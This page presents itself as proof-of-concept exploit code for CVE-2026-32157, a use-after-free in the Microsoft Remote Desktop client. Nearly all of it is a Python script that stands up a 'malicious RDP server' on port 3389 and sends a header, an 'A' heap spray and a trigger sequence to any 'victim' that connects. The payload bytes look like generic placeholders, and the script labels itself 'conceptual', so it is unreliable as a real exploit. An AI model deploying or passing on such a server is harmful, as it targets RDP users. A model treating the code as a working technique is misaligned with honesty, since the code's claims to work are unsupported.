Microsoft Remote Desktop Client < Specific Unpatched Version
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import struct
# Conceptual PoC for CVE-2026-32157 (Use After Free in RDP Client)
# This script simulates a malicious RDP server designed to trigger the vulnerability.
def create_malicious_rdp_packet():
"""
Constructs a malformed RDP packet intended to cause
the client to mishandle object memory.
"""
# Standard RDP connection header
header = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00'
# Malicious payload designed to trigger the UAF condition
# This payload manipulates the heap layout before the object is freed.
heap_spray = b'A' * 1024
return header + heap_spray
def start_exploit_server():
"""
Starts a listener on port 3389 to wait for a victim connection.
"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind(('0.0.0.0', 3389))
server.listen(1)
print("[+] Malicious RDP server listening on port 3389...")
while True:
client, addr = server.accept()
print(f"[+] Victim connected from: {addr}")
# Send the initial handshake
client.send(create_malicious_rdp_packet())
# Wait for user interaction (UI:R)
print("[*] Waiting for user interaction to trigger the bug...")
# Simulate sending specific stream data that causes the Use-After-Free
# In a real scenario, timing and specific channel manipulation are crucial
exploit_trigger = b'\x02\xf0\x80\x7f' + b'\x00' * 20
client.send(exploit_trigger)
print("[+] Exploit payload sent.")
client.close()
except Exception as e:
print(f"[-] Error: {e}")
finally:
server.close()
if __name__ == "__main__":
start_exploit_server()